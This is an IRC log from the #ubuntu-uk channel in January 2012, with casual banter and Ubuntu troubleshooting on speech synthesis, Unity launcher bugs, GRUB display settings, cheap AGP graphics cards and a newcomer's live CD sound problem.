<ubuntuuk-planet> [Alan Lord] OT: Chillies 2012 - http://www.theopensourcerer.com/2012/01/21/ot-chillies-2012/?utm_source=rss&utm_medium=rss&utm_campaign=ot-chillies-2012
<zleap> well 11.10 looks pretty good so far :)
<zleap> being able to get to show desktop from alt-tab is great
<AlanBell> mmmm chillies
<jacobw> what's the use case of show desktop?
<jacobw> assuming your not using ~/Desktop to store files or icons
<Lcawte> Sometimes I really love Ubuntu... I just set my sisters desktop up with it, and put an sshd on there... what fun I can have..
<AlanBell> daubers: my fuse driver kind of works \o/
<zleap> well its good to quickly move to a blank empty desktop (ok got icons on there) but when there are several apps openits a good way to make sense from what can endup chaos
<zleap> Lcawte, ssh in and type eject :)
<jacobw> speech synthesisers are more fun
<Lcawte> zleap: will that cause any damage that I'll have to go downstairs and fix (ie recovery console type stuff) or just reboot?
<AlanBell> spd-say "initiating launch sequence"
<jacobw> nope, it'll just pop out the optical media tray
<zleap> it was more of a joke reminded me of what another user told me,  he did that and he ended up knocking a colleagues coffee cup off the desk
<jacobw> haha
<hamitron> serves him right for having it on the desk, when a special tray comes out of the comp for it
<hamitron> ;)
<popey> Finally got installer started for sisters computer
<AlanBell> I think I am going to have to use regular expressions /o\
<Lcawte> Hmm, is there any funky commands I can make to have a popup apear on my sisters screen or something
<bigcalm> \o/
<popey> Lcawte: notify-osd ?
<popey> Lcawte: export DISPLAY=:0.0
<popey> Lcawte: notify-send MOO
<AlanBell> ^(.*/)?(?:$|(.+?)(?:(\.[^.]*$)|$)) really really doesn't look like it makes any sense at all
<Laney> yeah regexes are important to comment well
<AlanBell> oh, then again, I can use os.path
<Lcawte> oh wow, spd-say is so weird
<AlanBell> it is a front end to espeak and other synthesisers
<gordonjcp> can you change espeak's "accent"?
<AlanBell> yes
<AlanBell> :)
<AlanBell> hmm it is in there somewhere
<directhex> can you make it sound like a snooty frenchman?
<directhex> hon hon hon!
<AlanBell> yeah, but I am looking for scottish
<AlanBell> spd-say -l fr "bonjour, je m'appelle directhex"
<gordonjcp> AlanBell: hm, it doesn't like things being piped to it...
<AlanBell> spd-say -l en-sc "och aye the noo"
<AlanBell> as scottish people never say
<gordonjcp> wonder if you can do the singing trick like with festival?
<directhex> gordonjcp, -e
<directhex>               Pipe from stdin to stdout plus Speech Dispatcher
<gordonjcp> http://www.gjcp.net/~gordonjcp/mp3s/robots.mp3 <- like that
<AlanBell> spd-say -l en-wm "it can even do a brummie accent"
 * brobostigon puts DSOTM on,
<directhex> great gig in the sky and us&them are brilliant
<brobostigon> :)
<brobostigon> i am learning the drums, i would love to play the drums like nick mason. my favorite album though is piper at the gates of dawn.
<gordonjcp> hrm, can't figure out how to set pitches in espeak, *yet*...
<AlanBell> are you using espeak directly or through speech dispatcher?
<AlanBell> it is -p directly
<AlanBell> oh, it is -p from -100 to 100 through speech dispatcher, and 0 to 99 directly
<gordonjcp> AlanBell: yeah but then I need to stitch together individual phonemes ;-)
<brobostigon> us and them, the song, almost sometimes feels like it is describing autistics, and then everyone else, but then also saying, we are not so different afterall.
<brobostigon> or something quite similer.
<gordonjcp> sod it, the best I can do just now without lots of hackery is
<gordonjcp> http://www.gjcp.net/~gordonjcp/mp3s/spd-pe.ogg
<Azelphur> haha
<bigcalm> Oh my goodness
<Azelphur> A FIFO is a way for inter-process communication, right?
<Azelphur> so you can have a daemon that's always running, and a command line tool that talks to the daemon
<brobostigon> like adb in the android sdk, yes.
<Azelphur> cool, time to play with that then :D
<mattt> graphite is very cool
#ubuntu-uk 2012-01-22
<slons> hi
<MooDoo> hello all
<AlanBell> morning
<MartijnVdS> \o AlanBell
<Myrtti> *yawn*
<danfish_> *burp*
<Nafallo> morning
<jacobw> morning
<brobostigon> good morning everyone,
<AlanBell> bug 884671
<lubotu3> Launchpad bug 884671 in ubuntu-community "Ubuntu IRC operator recruitment is slow and ungainly" [Undecided,In progress] https://launchpad.net/bugs/884671
<ubuntubhoy> 'ungainly' a word you don't see used as often as it should
<Nafallo> potentially
<jacobw> hey jutnux
<jacobw> hows it going?
<popey> morning all
<issyl0> /1
<MooDoo> morning
<issyl0> Grrr.
<issyl0> But, incidentally, good morning.
<brobostigon> morning popey , issyl0 and MooDoo
<smittix> Morning
 * brobostigon installs the android wikipedia program.
<jacobw> brobostigon: a veiwer?
<jacobw> *viewer
<brobostigon> jacobw: a wikipedia page viewer, yes.
 * smittix is playing with KDE
<jacobw> kate is awesome
<smittix> Haven't used KDE since the 3. days.
<jacobw> i used kde 3.5.x for a long time
<jacobw> kde 4.0 took too long and gnome got much better
<smittix> I have found myself wondering since Gnome3 was released.
<smittix> I don't dislike it but I don't enjoy using it as much.
<jacobw> i like gnome3 and unity
<jacobw> i like the shell idea much better than comprehensive desktop environment idea of kde
<smittix> Unity just feels a little clunky for me.
<jacobw> all the shell needs to do is to switch and tile windows, provide virtual desktop and provide a way to launch applications
<smittix> Gnome3 in Fedora feels solid though.
<occupy64k> Gnome shell ftw
<popey> does gnome shell have a future?
<jacobw> -1 flamebait
<smittix> heh
<smittix> Im moving to arch
 * smittix hides
<dwatkins> I just use GNU Screen ;)
<jacobw> arch is the new gentoo :(
<jacobw> dwatkins: dinosuar, tmux is where its at :p
<dwatkins> jacobw: heh
<smittix> Byobu!
<dwatkins> I quite like the look of scrotwm, actually.
<dwatkins> http://edma2.deviantart.com/art/scrotwm-dark-theme-187026267 for example
<jacobw> byobu has switched from screen to tmux
<smittix> scrotwm does look good.
<dwatkins> I think the clock is tmux, not sure.
<popey> jacobw: haha
<swat_> morning
<gordonjcp> dwatkins: the thing that always puts me off things like scrotwm is the screenshots always seem to have masses of tiny dark-grey-on-dark-grey pixelly text
<dwatkins> gordonjcp: this looks pretty neat and isn't dark: http://ubuntuforums.org/showthread.php?p=10773855#post10773855
<gordonjcp> dwatkins: it's still a wall of shitty low-contrast pixelly text
 * Neoti finally out of my cave!!! lol :P
<Neoti> anyone else having problems with empathy... not connecting to facebook ?
<SuperEngineer> Neoti: no -- but, then again, I switched back to Pidgin yonks ago [smug smile] :})
<Neoti> SuperEngineer meh!  with your smug smile!!
<SuperEngineer> ... & o/
<SuperEngineer> Neoti:  ;})
<SuperEngineer> Neoti:  just set up fb account on Empathy ok - no probs - connects ok
<Neoti> well i removed the account and readded it and i go resource is already connected to server ....
<SuperEngineer> Neoti:  [guessing here] remove a/c again. remove permission in fb & then redo [ again, I'm only guessing]
<SuperEngineer> Neoti:  oo a thought, is this a 1st time setup or is  it an existing ok a/c -if new,  are you using your user name or sign-in name to set it up
<SuperEngineer> The ultimate message to SOPA/PIPA advocates: listen to the first few secs of lastest Linux Outlaws podcast. http://feeds.feedburner.com/linuxoutlaws-ogg
<occupy64k> Have been listening to that
<occupy64k> It's a sign of how far things have slid that a star trek monologue now sounds quite radical
<SuperEngineer> occupy64k: words of real wisdom are their own definition... no matter who the script writer
<Laney> today is a homebrew day
<SuperEngineer> Whilst I had it open thought I'd just have a look at IRC in Empathy... yuk!
<gordonjcp> in unity if I hit F2 I get a thing that will search for what I type in and then run it
<gordonjcp> but that's in every single case wrong
<gordonjcp> is there a way to tell it to just run what I type, and not try to be clever?
<MartijnVdS> alt+f2?
<MartijnVdS> which version of Unity/ubuntu?
<MartijnVdS> just alt+f2 -> type -> enter should work
<gordonjcp> it doesn't
<gordonjcp> if I press alt-f2 and type then it will try to guess what I want
<gordonjcp> and then in all cases run something other than what I typed
<MartijnVdS> Which version? Because it works fine on 11.10 and 12.04 for me
<gordonjcp> this is 11.10
<MartijnVdS> gordonjcp: what happens if you ignore the guesses, type the name of the program you want to run and then enter?
<gordonjcp> it runs something random
<MartijnVdS> works fine here..
<MartijnVdS> gordonjcp: that bug was fixed!
<gordonjcp> well, this is a fresh install off 11.10, updated about ten minutes ago
<gordonjcp> alt-f2, type "gedit", gnome-calculator runs
<gordonjcp> consistently
<MartijnVdS> gordonjcp: even if you wait a while before pressing enter?
<gordonjcp> alt-f2, type "evince", it tries to run evince-previewer
<gordonjcp> MartijnVdS: yup
<MartijnVdS> cool
<gordonjcp> but that's sort of the point, I don't want to wait
<MartijnVdS> is the -proposed repo enabled?
<gordonjcp> I want it to run the program I typed the name of
<gordonjcp> nope
<MartijnVdS> and -updates?
<gordonjcp> it's a fresh-from-the-installer install of Ubuntu
<MartijnVdS> please check
<gordonjcp> I haven't even installed build-essential yet
<MartijnVdS> -updates should be on, I guess
<gordonjcp> -updates is on
<gordonjcp> -proposed is not
<MartijnVdS> gordonjcp: I'm searching for the bug number and package
<MartijnVdS> it might be in proposed only atm
<jonsaint> hi all. i want to put a film (avi film) on to a dvd. i used to use something to convert it then i then had to burn it to dvd. can anyone tell me what i would need to use o do this?
<MartijnVdS> jonsaint: converting should be automatic, as long as you use a program like "Brasero" to burn the video DVD, I think
<jonsaint> cheers. il try that
<MartijnVdS> gordonjcp: https://bugs.launchpad.net/ubuntu/+source/unity/+bug/856205
<lubotu3> Ubuntu bug 856205 in unity-lens-applications (Ubuntu Oneiric) "run the wrong command if enter is hit before the view is refreshed" [High,Fix released]
<jonsaint> MartijnVdS, tried to use it, when i click burn it tells me somethings not implemented???
<MartijnVdS> jonsaint: converting, I guess
<MartijnVdS> jonsaint: you'll have to convert the video to MPEG-2 yourself then. If you want to use a graphical tool, you can use "avidemux"
<jonsaint> it says installing packages by files isnt supported
<MartijnVdS> jonsaint: That sounds strange, what's the exact message?
<jonsaint> exactly that, installing packages by files isnt supported, then it says a the bottom about it not being implemented
<MartijnVdS> jonsaint: does it tell you what kind of file it needs?
<jonsaint> no
<MartijnVdS> jonsaint: even better, can you make a screenshot (alt + printscreen) of the Brasero window?
<MartijnVdS> !paste
<lubotu3> Pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://pastebin.ubuntu-uk.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
<MartijnVdS> that doesn't do images.. hmm
<MartijnVdS> !image
<MartijnVdS> !imagebin
<lubotu3> Screenshots can be made with the [PrtScr] button. Want to show us a screenshot of your problem? Upload an image to http://imagebin.org/?page=add and post a link to it.
<jonsaint> give me 10 mins, trying to do this and cook dinner lol
<MartijnVdS> :)
<jonsaint> im trying to use devede now to see what thats like
<gordonjcp> MartijnVdS: interesting
<gordonjcp> MartijnVdS: it runs one that hasn't even been typed, I've found
<MartijnVdS> gordonjcp: I can only suggest filing a bug (or subscribing if it already exists)
<popey> damnit, stupid keyboard layout
<MartijnVdS> What's up popey
<popey> none of the keyboard layouts in ubuntu match the one I have
<popey> macbook pro 7,1. uk layout
<popey> bug 630203
<lubotu3> Launchpad bug 630203 in xkeyboard-config (Ubuntu) "Macintosh keyboard layout is wrong" [Undecided,New] https://launchpad.net/bugs/630203
<MartijnVdS> Not even mostly?
<popey> mostly isnt enough
<popey> i had a fiddle with some of the xkb files in the last release and couldn't get the layout right
<czajkowski> aloha
<popey> should forward that bug upstream
<penguin42> popey: Marked it as 'High'
 * popey files it upstream https://bugs.freedesktop.org/show_bug.cgi?id=45080
<lubotu3> Freedesktop bug 45080 in General "UK MacBook Pro keyboard layout incorrect" [Normal,New: ]
 * SuperEngineer wonders if czajkowski will be setting up a Six Nations rant channel?
<czajkowski> swat_: #rugbyrants exists
<czajkowski> SuperEngineer: ^^
 * popey wonders if anyone can suggest a source for a _cheap_ AGP based 3d card that will work with compiz/unity?
<penguin42> oh AGP - hmm
<SuperEngineer> czajkowski:  cool
<popey> this old celeron D of my sisters
 * popey asks on askubuntu âº
<popey> see how that pans out
<SuperEngineer> czajkowski:  ooo - so it does [adds to favs] ;)
<penguin42> popey: How about something like: http://www.amazon.co.uk/VTX3D-512MB-Radeon-3450-Graphics/dp/B003WW5ZMG/ref=sr_1_4?ie=UTF8&qid=1327241305&sr=8-4
<penguin42> popey: The HD 3xxx should work (I have the HD4xxx works fine on open drivers - but PCI-e)
<MartijnVdS> You won't get _stellar_ Unity3D performance mind
<MartijnVdS> especially compared to the latest few generations of GPU
<penguin42> popey: Avoid the Radeon 9xxx and 7xxx
<MartijnVdS> This one looks like it landed on an alien space ship: http://www.amazon.co.uk/HIS-Radeon-HD-4670-IceQ/dp/B002EL4PIG/ref=sr_1_22?s=computers&ie=UTF8&qid=1327241422&sr=1-22
<MartijnVdS> ATI HD 4670
<popey> oooh that radeon looks decent
<MartijnVdS> popey: the 3450 or the 4670?
<sagaci> i've got a pci 4670 in my desktop computer, 1GB, pretty decent
<sagaci> I paid $70AUD a year ago
<sagaci> msi
<popey> https://wiki.ubuntu.com/DemystifyingUnityGraphicsHardwareRequirements
<popey> handy
<popey> mentions the 3450
<MartijnVdS> popey: it doesn't have AGPWpcie at all?
<MartijnVdS> uhr
<MartijnVdS> popey: it doesn't have pcie at all?
<popey> correct
<sagaci> are you seeing how low you can go
<popey> no, sisters computer
<popey> dont want to spend lots on it
<penguin42> must replace my dad's P3-400
<penguin42> popey: Mind you I built a complete machine for my mum for about Â£220
<popey> hmmm
<popey> the other option is to let her have one of my revos
<sagaci> penguin42: what kind of fps do you get for solitaire :)
<popey> I'm not about to build a machine
<penguin42> nod
 * popey looks at super cheap pre-builds tho
<popey> or a 'just add a disk' type thing
<MartijnVdS> RazPi :)
<popey> hah
<popey> needs a parallel port - old printer
<MartijnVdS> popey: Parallel ports are easy -- USB and PCI(e) expansions exist for that
<penguin42> actually, a Celery D should be fine
<MartijnVdS> http://www.amazon.co.uk/PlusKom-2mtr-Cable-Female-Adaptor/dp/B000Q6JRHU
<penguin42> (or b&w USB lasers for Â£40)
<popey> MartijnVdS: more moeny
<MartijnVdS> http://www.amazon.co.uk/My-Link-High-IEEE-Parallel-Printer/dp/B00109V6JO
<MartijnVdS> popey: Â£3 isn't a lot though
<penguin42> popey: Having said that, Unity2d will run on junk
<MartijnVdS> penguin42: S3 Savage?
<popey> yeah, i have it running here
<penguin42> MartijnVdS: I'd be surprised if it didn't
<popey> pondering what the best way forward is
<popey> they dont tend to use this pc much, they all have laptops
<MartijnVdS> popey: Fixing it as cheaply as possible, tell them to start saving money for a new revo?
<popey> its mostly just for printing
<popey> tempted to get them a networked laser
<popey> rather than a computer upgrade
<MartijnVdS> popey: you can buy boxes with a parallel port and a network port
<MartijnVdS> to make a printer into a network printer without needing a PC
<popey> true
<MartijnVdS> http://www.amazon.co.uk/TP-Link-TL-PS110P-Single-parallel-ethernet/dp/B0015UGALC
<penguin42> popey: http://www.itcsales.co.uk/acatalog/ATI-Radeon-X300-128-MB-PCI-E-Card-DMS-59-Full-Height-H3823-1409.html?utm_source=googlebase&utm_medium=cpc ?
<popey> heh
<popey> el cheapo
<MartijnVdS> popey: it's pcie, pcie != agp :(
<MartijnVdS> wait
<MartijnVdS> it says PCIe in the description, twice
<MartijnVdS> and "AGP" at the bottom
<penguin42> MartijnVdS: Hmm yes - best ignore that one
<popey> need to call sister see what she really wants
<MartijnVdS> <popey's sister> Yo, I'll tell you what I want, what I really, really want
<MartijnVdS> <popey> So tell me what you want, what you really, really want
<MartijnVdS> *cough*
<penguin42> http://www.itcsales.co.uk/acatalog/11-x-Mixed-second-user-CRT-Monitors-6296.html  is funny
<MartijnVdS> penguin42: ...
<Neoti> anyone tried Ubuntu TV yet ?
<popey> yup âº
<penguin42> popey: I guess it's a hard life having to test it thoroughly
<popey> hah
<Nafallo> popey: how many movies did you watch on it this last week? ;-)
<matti> Hi Nafallo
<Nafallo> hi mat
<matti> :)
<Nafallo> hi matti
<matti> MartijnVdS: ;]
<Nafallo> dear tab, meet anger. no love, /N
<tony_> Hi all - quick question - fresh install of 11.10 alongside xp however the grub menu is giving me a video out of range message - is this the correct link to fix it? http://askubuntu.com/questions/52910/signal-out-of-range-when-starting-grub-after-server-installation
<penguin42> tony_: On what hardware?
<penguin42> tony_: That seems a reasonable fix
<tony_> its just an old-ish packard bell desktop that was starting to run a bit slow in xp
<tony_> its an intel p4 which is about all I know
<tony_> Ive managed to boot into ubuntu ok - and I think xp is still there, I just cant see the menu
<penguin42> yeh, give that one a go
<tony_> sorry for what is probably a stupid question but how do I know my root is /dev/sda1
<penguin42> tony_: If you have one disc and it's the 1st partition it probably is
<penguin42> tony_: the 'a' is 1st disc, the '1' is 1st partition, the 'sd' is most discs, although very occasionally you'll find an hd
<tony_> theres only 1 hdd in there (there were 2 but 1 broke so I unplugged it)
 * gord thinks about making an "EggWatch" google plus circle and putting certain people in it
<penguin42> eggwatch?
<Nafallo> if you're in it youhave to stare at an egg for 10mins a day.
<Nafallo> and then report what the egg was up to for the group
<penguin42> Nafallo: Some report on the egg during that time
<tony_> hello - sorry trying to get my grub screen working - is there a simple walk through anyone can point me towards?
<penguin42> tony_: I think those instructions in that page you found should work - they seem to be working around a bios bug (or difference between Grub/bios)
<tony_> was just trying that startup manager as I cant seem to run those commands from the walkthrough - I just get an empty file.  Will give this a go, be back shortly peeps! :)
<tony_> Hi All - just reporting back - startup manager let me change the boot menu to 1024x768 and it now works perfectly.  would recommend for anyone else who has the same problem!
<penguin42> tony_: How did you get to startup manager?
<tony_> had to install it from the software centre
<tony_> but after that it was easy peasy
<penguin42> tony_: I didn't realise from your original description that it eventually booted OK
<tony_> sorry yeah - it booted up but I just couldnt see the menu
<penguin42> is it on an LCD or CRT?
<Neoti> anyone know of some IP TV stations/channels that i can put in to TVheadend as im building a minimumpvr
<AlanBell> gord: eggs ftw
<oimon1> trying to compile something pulled from git, no idea how the author gets it to work , loads of errors :(
<AlanBell> oimon1: missing dependencies probably, what is it?
<oimon1> cinnamon desktop
<oimon1> wanted the latest git version
<gord> popey, nvidia 7000/8000 series cards, they support the feature set and some of them (less 8000 series, more 7000 series) support AGP. about Â£20 new. problem with getting older than that is the nvidia driver will start to not support them at some point
<gord> there is always the open source drivers though i guess
<jacobw> oimon1: can you use the ppa?
<oimon1> jacobw: i wanted to try some newer features than the ppa that are in git
<SuperEngineer> hmmm... BT [or BT router} appears to be  having a minor prob.  signal = 82%, download speed now  varying betwwen 2 & 10 KiB/S
 * SuperEngineer checks outside for cracker in car with laptop!
<SuperEngineer> ....no
<tony_> ok next question - does anyone know how to get an ipod touch working in ubuntu?
<SuperEngineer> bbs... logging off to switch to 3GS mobile dongle
<Neoti> little help needed... just installed ubuntu 11.10 mini and i only choose to install open SSH, and on the screen i just have a blinking courser... i can SSH to the box and do stuff but on the computer monitor i just get a courser in the top left hand corner ... what have i go to install to get a login screen ?
<Myrtti> does it say login tho?
<Neoti> nope... just a blinking courser on the screen.... i just connected to it via SSH and installed xorg to see what would happen and still nothing on screen even after a reboot
<Myrtti> was xorg the only thing you installed?
<Neoti> open ssh server : xorg and the ubuntu base thats it ...
<Myrtti> well xorg doesn't do much on it's own
<penguin42> Myrtti: On the box can you do an alt-ctrl-f1 ?
<Myrtti> Neoti: ^
<Neoti> its in virtual box... how do i send that command to it with out going to term on my linux box ... lolz
<penguin42> Neoti: If you can ssh in, then do sudo chvt 1   from the ssh
<Neoti> excellent.... awesomeness!!!! thank you
<penguin42> Neoti: So my guess is that lightdm isn't starting for one reason or another
<Neoti> i was using the mini CD install thingy here https://help.ubuntu.com/community/Installation/MinimalCD as i dont need a full desktop gui just terminal goodness but SSH was fine... was just nice to have the vm show my a login...
<penguin42> Neoti: check /var/log/lightdm.log (or something like that) - is this a fresh install or upgradE?
<Neoti> next.... how do i use the IPTV option of tvheadend as there website documents all but this tab... lolz,,, thanks
<smittix> hmmm, I have just dragged an app to the launcher and its left a blank space.
<jacobw> damnit, i can't download the sopranos as fast as i can watch it :(
<jacobw> smittix: if you click the space, does the app launch?
<dwatkins> jacobw: netflix?
<jacobw> dwatkins: in gb now?
<dwatkins> jacobw: yep, and the first month is free, otherwise 6 GBP a month.
<jacobw> awesome
<dwatkins> Yeah, I watched all of Prison Break on it in HD, works very well (but uses a huge amount of bandwidth).
<dwatkins> I have no idea if there's a Linux client which will work with it, not tried. I had to install Silverlight on OS X and Windows to use it.
<dwatkins> !silverlight
<lubotu3> For Microsoft Silverlight support, install Moonlight with the following command: Â« sudo apt-get install moonlight-plugin-mozilla Â» in a terminal.
<Pendulum> dwatkins: I'm not sure if it's still true, but at least for a while Netflix was using DRM which meant that Moonlight wouldn't work
<Cameron> Hello
<Cameron> thanks, alanbell, everything is working perfectly :)
<dwatkins> Pendulum: ah ok, that kinda makes sense, shame as it is.
 * dwatkins tries from Ubuntu 10.10 and chrome
<AlanBell> hi Cameron :)
<AlanBell> and hi Pendulum o/
<Pendulum> o/ AlanBell
<Pendulum> dwatkins: I haven't looked at it for at least a year, though, so could have changed. I do know at one point it did work for a short time.
<Pendulum> on the other hand, there is http://www.omgubuntu.co.uk/2011/10/native-netflix-client-coming-linux-in-12-months/
<dwatkins> I get a compatability message stating I need to be running Windows, OS X or Chrome OS, interestingly.
<dwatkins> ooh
<dwatkins> This is the compatability message, for reference: http://rowla.dyndns.org/Netflix.html
<penguin42> meld in 3 way diff mode is pretty neat
<jacobw> i can't use pay for netflix if it uses silverlight
<jacobw> too many potential problems
<popey> you dont have to use silverlight if you have a supported device - like a ps3
<jacobw> meh
<jacobw> i don't have a ps3
<jacobw> i'm unwilling to pay for something that using silverlight in any case
<gord> also works on wii iirc
<gord> i have netflix and lovefilm atm, can't decide which one to keep
<smittix> jacobw: No can't click
<s-fox> Hello.
<smittix> s-fox: o/
<s-fox> Hello smittix, how're you doing this evening?
<smittix> Good thanks, and you?
<s-fox> Not bad thank you, been working on my PHPOO
<smittix> Nice
<s-fox> Mainly in preparation for an interview on Wednesday. They said something about a test.
<s-fox> ;)
<smittix> ahh
<smittix> Well good luck on that!
<s-fox> Haha, thanks. I'll need it  :)
<smittix> ;)
<smittix> jacobw: A unity --reset-icons sorted it.
<smittix> Anyone else experience a real slow down when dragging icons from the dash to the launcher.
<gord> smittix, nvidia by any chance?
<smittix> gord: No, Intel HD
<gord> strange
<smittix> Just tried dragging another icon and it's fine.
<gord> maybe you just had a high load from something the first time
<smittix> Aye, could be
<Nafallo> maybe the icon is buggy. replace it with another icon!
<smittix> It was the terminal which I was dragging.
<Nafallo> ah. that makes sense then. Ubuntu is supposed to be useful without terminals :-)
<Nafallo> it was clearly the systems way of trying to tell you so.
<smittix> trying to perform sudo sed -i 's/NoDisplay=true/NoDisplay=false/g' *.desktop'' is kind of hard without it.
<smittix> heh
<gord> anyone know where the disable touchpad when typing thing is configured? seem to have lost mine
<Nafallo> isn't that just the mouse settings?
<popey> super -> mouse -> Mouse and touchpad -> Touch pad (tab)
<smittix> Mouse and touchpad settings
<Nafallo> if not, I'd go for dconf-editor ?
<smittix> Top of the list on the tab.
<gord> "disable touchpad whilst typing" is enabled :( doesn't work!
<smittix> I have just tested mine too as I have never noticed it.
<gord> i really need to get a new laptop, one just for work. so i can keep this laptop on the last ubuntu release, not the development release
<smittix> On and off mine works.
<Nafallo> gord: just get a netbook? :-)
<gord> i have several :)
<Nafallo> so use one for non-work stuff.
<gord> nah
<Nafallo> that said. I tried to do that.... and now my netbook is my work machine too :-P
<gord> 1.6ghz ooold atom or 1ghz arm machines aren't enough for my internetting anymore
<Nafallo> wut?
<Nafallo> what do you do on the Internetz? taking down gibsons?
<smittix> I don't bother trying to seperate the two anymore. Everytime I try they end up merging anyway.
<gord> everything loads slow, can't open a browser and <other> app at the same time, the entire thing is a pain
<Nafallo> ehrm. weird. my N450-based one works just fine :-)
<gord> i'd rather sit on my i3 2ghz dual core laptop with 8gb ram
<Nafallo> just had to upgrade to 2GB memory when I started using it for work, and that was it.
 * smittix has something similar
<smittix> i5 quad, 8gb ram  ;)
<Nafallo> hrm. we clearly use computers in different ways :-)
 * penguin42 pats his i7/8GB
<smittix> I don't have a desktop. So I got this laptop to do what I want.
<penguin42> smittix: I used to have that setup; and actually you are on my old laptop - which mostly just does IRC
<Nafallo> well, same here :-)
<Nafallo> and a tiny mips-based media player attached to the TV :-)
<smittix> penguin42: huh?
<penguin42> smittix: I have two machines here; an i7 desktop and an older laptop that was my previous main machine
<smittix> ahh
<penguin42> smittix: The irc window that you're in is on my old laptop
<smittix> Ok heh
<smittix> I do miss my desktop.
<smittix> But I never had time to actually sit at it.
<ubuntuuk-planet> [Gareth France] Tolworth  22nd January 2012 - http://cliftonts.co.uk/cubuntu/?p=59
<Azelphur> How do I give a user permission to set niceness without root?
<AlanBell> in openoffice calc how do I get the stuff I want to print out on one page?
<czajkowski> is it like excel where you select the area ?
<AlanBell> I seem to recall some options in the print area saying fit to n pages wide by m pages tall or something, but I can't find them now
<AlanBell> I have selected the cells I want to print, but they spill onto two pages
<czajkowski> can you change the layout like portrait to landscape
<AlanBell> tried that, still doesn't fit
<czajkowski> you *have* to have it all on one page?
<AlanBell> yes
<AlanBell> found something in format-page I think
<AlanBell> ok, got it
<AlanBell> format-page then on the sheet tab at the bottom set the scaling mode to fit on one page, and on the page tab set it to landscape
<AlanBell> if you don't set it to landscape there, but try to change to landscape at the time you print it then you get it scaled down to fit on a portrait width, but in the middle of your landscape page
<czajkowski> nods
<czajkowski> good to know
<czajkowski> :0
<czajkowski> :)
<AlanBell> reward chart printed
<czajkowski> ahhhh
<AlanBell> now it just needs filling up with happy face stickers
<czajkowski> best of luck with that
<AlanBell> I will try to be a good boy ;)
<jacobw> anyone know how to scrollback in tmux?
<Laney> ^b [
<Laney> same as scren
<Laney> r
<Laney> screen
<jacobw> thanks, page up/down also seems to work as a suffix to ^b
<daubers> Evening
<intelhunter> hello?
<intelhunter> any1 here?
<intelhunter> i need help.
<Azelphur> !anyone | intelhunter
<lubotu3> intelhunter: A high percentage of the first questions asked in this channel start with "Does anyone/anybody..." Why not ask your next question (the real one) and find out? See also !details, !gq, and !poll.
<daubers> intelhunter: Ask away :)
<intelhunter> i messed up, i need to know how to set settings to default...
<Azelphur> what settings?
<intelhunter> i f*** up my sound, now my audio is dead.
<Azelphur> what exactly did you do?
<jacobw> what did you do before?
<jacobw> also
<jacobw> !language
<lubotu3> Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
<intelhunter> i were trying to make my headphones to work, so i went to audio settings and i did somethin(cant remember exactly what) and now i have no sound.
<intelhunter> btw i installed ubuntu for about an hour ago.
<penguin42> intelhunter: Check the output settings aren't set to mute and are in the middle
<penguin42> intelhunter: Also check the 'connector' on the output page
<jacobw> try changing the output device
<intelhunter> ok, wait a minute...
<jacobw> perhaps you changed them
<penguin42> intelhunter: Also, on hte hardware tab there is a 'profile' like Analog Stereo Duplex  etc - try different ones of those
<intelhunter> nothing has changed.
<intelhunter> is there any command to reset everything?
<jacobw> no
<intelhunter> ?
<intelhunter> wut!?!
<intelhunter> maybe if i re-install everything...
<intelhunter> i havent installed it completely, i'm just trying it out.
<jacobw> connector is what i meant by output devices
<jacobw> i forgot how the gui looked
<jacobw> intelhunter: so you haven't installed to disk?
<jacobw> intelhunter: i.e. you still using the live image?
<intelhunter> i did it to a CD, and i booted it up.
<intelhunter> so i still have windows.
<jacobw> in that case you're running ubuntu from the CD, do you plan to install or not?
<intelhunter> i plan to install, but not untill i have found out more.
<Azelphur> all you need to do is reboot to reset the entire live session
<jacobw> if you've changed something it the gui it won't persist through to the installation
<Azelphur> liveCD doesn't save anything xD
<intelhunter> AWESOME!
<jutnux> 70% encrypted
<jutnux> dodoodododo
<intelhunter> i still have some questions....
<jacobw> what are you encrypting?
<intelhunter> is there a spotify for linux?
<jacobw> yes
<intelhunter> i found some bits of it...
<daubers> only if you have a premium subscription
<intelhunter> but does it work?
<jacobw> it can run under wine
<intelhunter> ok...
<jacobw> i don't know anything about premium subscription
<jacobw> wine is a program that runs windows programs in linux
<jutnux> jacobw: My HDD
<intelhunter> now, i have a challange for you, can you convince me to installing linux instead of windows?
<Azelphur> intelhunter: installing instead of is a bad idea, especially as a brand new user
<jacobw> i don't know
<Azelphur> dual boot.
<intelhunter> pros and cons...
<jacobw> all i can say is .. "if it's not fun, why do it?"
<Azelphur> there's no reason you can't have both
<Azelphur> and remove windows later if you feel the need to
<jutnux> intelhunter: If you want a system that runs faster, has next to nil viruses and pretty much the same software as Windows, wy not?
<intelhunter> ok...
<Azelphur> that's what I did, I dual booted for like a year
<intelhunter> sounds fair...
<Azelphur> and then I realised I never use windows any more, so just removed it
<jacobw> what do you use windows for?
<intelhunter> me?
<jacobw> yeah
<intelhunter> i tried to learn programming.
<jacobw> if there's no windows specific programs you need then there's no reason not switch to a better operating system
<Azelphur> ^ that basically
<intelhunter> but python was bad...
<jacobw> python is great :)
<Azelphur> don't hate python :o
<Azelphur> python is awesome
<jacobw> where you using idle?
<jacobw> don't use idle
<intelhunter> it gave me error messages in wondows, and i was told to use it in linux.
<jutnux> Make sure you follow a styling guideline too
<intelhunter> i was using the GUI
<jutnux> http://www.python.org/dev/peps/pep-0008/
<intelhunter> wut is that?
<Azelphur> jutnux: haha, a noob so doesn't need to worry about clean code
<jutnux> A styling guideline for Python
<Azelphur> really...
<jutnux> Azelphur: Well he's better off learning it now rather than when he is acustomed to the code
<jacobw> there's no difference between python on windows and python on linux except the development environment
<Azelphur> jutnux: 100% wrong. When starting something new and complicated like that it's information overload that alienates 99% of people
 * popey points intelhunter at http://codeyear.com/
<intelhunter> i know some of python, like while and if and elif...
<Azelphur> If you actually want to help, avoid information overload like the plague :)
<daubers> \o/ my wifes cousin is being tought to code at GCSE lavel
<intelhunter> ok.
<intelhunter> GCSE?
<daubers> yup
<jutnux> daubers: I'm still doing the generic Microsoft Office. Glad I taught myself.
<jutnux> Azelphur: Well if he develops a way of doing things and continues it's going to be harder to get out of that habit than it is to learn this one.
<Azelphur> intelhunter: but yea, Ubuntu offers the option during the installation to install alongside Windows, so you can just do that, and see how you go :)
<intelhunter> ok, i will.
<Azelphur> jutnux: and if you information overload, your not going to learn anything at all, ever because you'll just give up :)
<intelhunter> that will also eliminate the need to convinse my parent why ubuntu is a safer option than windows.
